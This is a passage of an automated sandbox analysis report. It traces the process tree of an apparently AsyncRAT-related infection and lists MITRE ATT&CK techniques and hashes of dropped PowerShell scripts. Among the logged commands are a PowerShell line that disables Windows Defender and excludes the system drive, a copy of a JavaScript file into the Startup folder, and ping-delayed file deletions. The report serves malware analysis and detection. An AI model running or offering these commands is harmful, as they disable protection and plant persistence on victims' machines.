        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3680
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:760
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5112
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi4b67.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5452
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5940
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi4b8b.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5836
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4292
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui4b67.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3936
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4300
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui4b8b.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2052
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4400
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\v2221000552100021-211021.js"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1488
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2544
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\fjysh.ps1"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3660
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5208
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\frsbf.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3724
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5396
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\fzrqr_01.ps1"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4076
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2644
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\lycpt.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4084
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1676
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\ykqzy.js"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4040
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:384
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIntrusiovnPreventionSystem $true;Set-MpPreference -MAPSReporting 0;Set-MpPreference -SubmitSamplesConsent 2;Add-MpPreference -ExclusionPath $env:SystemDrive\ ;
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5480
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Public\ykqzy.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ykqzy.js"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5224
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5884
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n C:\Users\Public\ykqzy.js & del "1"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2024
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n C:\Users\Public\ykqzy.js
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5020
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\ykqzy.js"
        6⤵
        
        PID:2872
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\npfye.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:1864
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\wnyif.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:1224
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\psufa.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of WriteProcessMemory
        
        PID:5620
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        7⤵
        Suricata alert: AsyncRAT Malware Default X.509 Certificate Detected - Inbound
        System Location Discovery: System Language Discovery
        
        PID:4496
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noexit -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\fdzwr.ps1"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3468
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\wnyif.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:3356
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\wnyif.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        
        PID:3524
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\wnyif.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5368
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\ykqzy.js"
        6⤵
        
        PID:1700

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

fdzwr.ps1

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\fdzwr.ps1
Size 320B
SHA256 bbf72e5c2d592f1e97e55e5f387a66945165703a76717984868a75aaef54d341
MD5 38ef755c3d7ad5064d5746aaff727769
SHA1 bc9cdc5edb7a683f8a62d34d0238800e9820820d
SHA512 db1f9d69c6701f1d3b93fc4b211c5b597be82deb89efc9411fa10b271f6bb7c4d76cd65951c9d66831d82a1964f20c3a5e8d92ec4d215eba520c7445ab1f3e70
TLSH
T1EBE026107CA586F88A63C8376296ABB0CA63E92C734D110173AA864FFA00A29646C55D
MD5 SHA1 SHA512 TLSH

Submit Download

npfye.ps1

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\npfye.ps1
Size 418B
SHA256 ea96e90e5f0eabe5768737d63875a24a8a29bc551e1f687e0e087e4fe9677b33
MD5 a60c41cda33494c64b7986a5fbf216ed
SHA1 45d5175765947b484aee1d8af41cd754c40e2f3c
SHA512 11a05e87f731b50aa8bbafcfe8697584aac30b520bc9d09fa209e719df34a0ef6e32f1e4f2128f26c214a500668d0bef403ff6265a74ccbf4616108dc1af796e
TLSH
T1D1E0AB01BA54427DCAD2A420C3917AB0CA77C68C33280202336FCB0FF20861B407D3A6
MD5 SHA1 SHA512 TLSH

Submit Download

psufa.ps1

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\psufa.ps1
Size 16.4MB
SHA256 df6e659b04ad96b5e61d38f821d09988af05c31697b6481dc71514e1c2755006
MD5 e1de3be8fdad262d83e259637bc82513
SHA1 9f35c0d61b82ae1c05b9f26f18c3dca1ef487277
SHA512 e7d6a69b6cef9bb242a2763a00ed9030ac7b2399434d1ae234c4ce603db9606dd8dab648e22212cca00458d8d43309d5bd79789e52a59835a5fefb5fe41bf8de
SSDEEP 3072:75gb84nFwzX7O/cgVSPhCJIgP3CqwuzxhM/XP5vFpJga3d9dD5lGUcg6zfkWg+Aj:t
TLSH
T19C07FE3DCEE8423EC2B7C929D9CA4A17F85A091B231CFD4A64D773A75527183BCA211D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wnyif.ps1

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\wnyif.ps1
Size 423B
SHA256 1b573fc8263a9c8d8551a1d9b83283618f5dea53b1b7b07b15e4e7c1022fcdd7
MD5 ec217a14d06b66b5e5a047c56f52a423
SHA1 540b713aa3d43f623f721e086ef56a69789c0c20
SHA512 bbce852ecbbb9b5025612005cfeaa3293b9ca1dc14d9f819ecbf2cb8e199bcb46375bf205e520d07b7d208f29dc893253097f566e6d1237af1023b5187fe3bbd
TLSH
T187E0AB01BA545279CA92A42083917BB0CA77C25C33281302336FCB0FF208A1F907D3AB
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 082ffd70d3395f072b4ae9f6121565fded98d42b533a13af90e4f07c8ed72c8e
MD5 020f0f176d324a7013adaa69ee1b1496
SHA1 c09c660b2ffa8675e7a6484dfadaec51b1e1c3ba
SHA512 1d21146a6f2d80cdd6e2dedb3c74f77d4e1cdfbb295f557e7e8a871c61a9ebb52c4d053abd21853108d359d923abc9ed98ed04b5be3afd297dbac65673b3af59
TLSH
T11351EF313275F0D4C9667F07292819D463BF4386EA94AF5CB658621ED93641BCF222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
SSDEEP 1536:0YaC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5d:0YaC+jH04tAHk1cMrxyNhftflJdvYoFw
TLSH
T170334093E9204D71E1A66F3EF15662227D34394690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download